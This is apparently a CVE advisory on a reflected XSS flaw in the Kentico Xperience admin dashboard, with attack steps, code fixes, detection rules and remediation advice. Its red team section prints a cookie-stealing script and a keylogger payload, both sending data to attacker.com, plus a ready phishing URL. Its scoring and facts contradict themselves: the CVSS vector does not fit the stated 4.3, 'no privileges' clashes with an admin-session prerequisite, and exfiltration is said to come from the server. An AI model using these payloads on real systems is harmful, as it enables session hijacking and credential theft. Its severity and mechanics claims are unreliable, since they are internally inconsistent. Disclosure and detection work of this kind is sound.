CVE-2024-58319

Executive Summary

CVE-2024-58319 is a reflected cross-site scripting (XSS) vulnerability in the Kentico Xperience content management system. The flaw resides in the Pages dashboard widget configuration dialog, allowing an attacker to inject arbitrary JavaScript into administrative user sessions. Successful exploitation requires user interaction (clicking a crafted link) and can lead to session hijacking, credential theft, or administrative actions performed on behalf of the victim. The vulnerability is unpatched, and no public exploit code exists at this time. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is Medium (4.3).

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary .NET-based CMS. Supply chain risk is limited to the vendor’s update mechanism. No third-party library dependency is known to be directly affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (4.3) – Exploitation requires user interaction but can lead to full administrative compromise.

Deep Dive & Mechanics

The vulnerability exists in the Kentico Xperience administrative interface, specifically in the widget configuration dialog for the Pages dashboard. The dialog does not properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in a parameter that the dialog echoes back without encoding.

Attack Flow:

1. Attacker crafts a URL like: https://target.com/Admin/Pages/Dashboard?widgetConfig=<script>alert('XSS')</script>
2. Attacker sends the link to an authenticated admin user via email, chat, or other means.
3. Admin clicks the link while logged into Kentico.
4. The server reflects the injected script in the widget configuration dialog HTML.
5. The browser executes the script in the context of the admin session.
6. The script can steal session cookies, perform actions via CSRF, or exfiltrate data.

Root Cause: Lack of output encoding in the widget configuration dialog’s response. The application uses user input directly in the HTML without proper escaping.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (C#/ASP.NET MVC):

public ActionResult WidgetConfig(string widgetConfig)
{
    ViewBag.WidgetConfig = widgetConfig; // Direct assignment without encoding
    return View();
}

Vulnerable View (Razor):

<div id="widgetConfigDialog">
    @ViewBag.WidgetConfig <!-- No HTML encoding -->
</div>

Patched Code (Expected):

public ActionResult WidgetConfig(string widgetConfig)
{
    ViewBag.WidgetConfig = HttpUtility.HtmlEncode(widgetConfig); // Encode output
    return View();
}

Patched View:

<div id="widgetConfigDialog">
    @Html.Encode(ViewBag.WidgetConfig) <!-- Explicit encoding -->
</div>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kentico Xperience instance (version unknown).
• A valid admin session (or ability to phish credentials).

Exploitation Steps:

1. Identify the vulnerable endpoint: GET /Admin/Pages/Dashboard?widgetConfig=<payload>
2. Craft a payload to steal cookies:

   <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
   

3. URL-encode the payload and create a phishing link:

   https://target.com/Admin/Pages/Dashboard?widgetConfig=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Send the link to an admin user.
5. When the admin clicks the link, the cookie is exfiltrated.
6. Use the stolen cookie to impersonate the admin.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/keylog?k='+e.key);
}
</script>

Blue Team

Detection Steps:

1. Monitor web logs for requests to /Admin/Pages/Dashboard with suspicious query parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
2. Look for outbound connections from the Kentico server to unknown IPs on ports 80/443.
3. Check for unexpected changes to admin user accounts or configuration.

Honeypot Setup:

• Deploy a decoy Kentico instance with the same vulnerable endpoint.
• Log all requests to /Admin/Pages/Dashboard and alert on any parameter containing HTML tags.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /Admin/Pages/Dashboard with query parameters containing <script> or javascript:.
  • Outbound connections to attacker-controlled domains from the Kentico server.
• File IOCs:
  • Suspicious entries in IIS logs: GET /Admin/Pages/Dashboard?widgetConfig=%3Cscript%3E...
• Behavioral IOCs:
  • Admin sessions originating from unexpected IPs.
  • Unusual administrative actions (e.g., creating new admin accounts, modifying site settings).

Detection Engineering

YARA Rule

rule CVE_2024_58319_Kentico_XSS {
    meta:
        description = "Detects reflected XSS attempts against Kentico Xperience widget config dialog"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-58319"
    strings:
        $xss_payload = /widgetConfig=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /widgetConfig=.*onerror\s*=/i
        $xss_onload = /widgetConfig=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Kentico Xperience
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts targeting the Pages dashboard widget configuration dialog in Kentico Xperience.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'widgetConfig='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget config (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-58319 Kentico Xperience Reflected XSS Attempt";
    flow:to_server,established;
    content:"/Admin/Pages/Dashboard"; http_uri;
    content:"widgetConfig="; http_uri;
    pcre:"/widgetConfig=.*(<script|onerror|onload)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the widget configuration dialog if not required for business operations.
2. Implement a WAF rule to block requests containing <script>, onerror, onload, or javascript: in the widgetConfig parameter.
3. Restrict access to the /Admin/Pages/Dashboard endpoint to trusted IPs only.

Long-Term Fix:

• Apply output encoding to all user-supplied input reflected in the widget configuration dialog.
• Conduct a full security audit of the Kentico Xperience admin interface for similar XSS vulnerabilities.
• Monitor vendor updates and apply patches as soon as they become available.

Workaround:

• Use a reverse proxy to sanitize the widgetConfig parameter before it reaches the application server.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert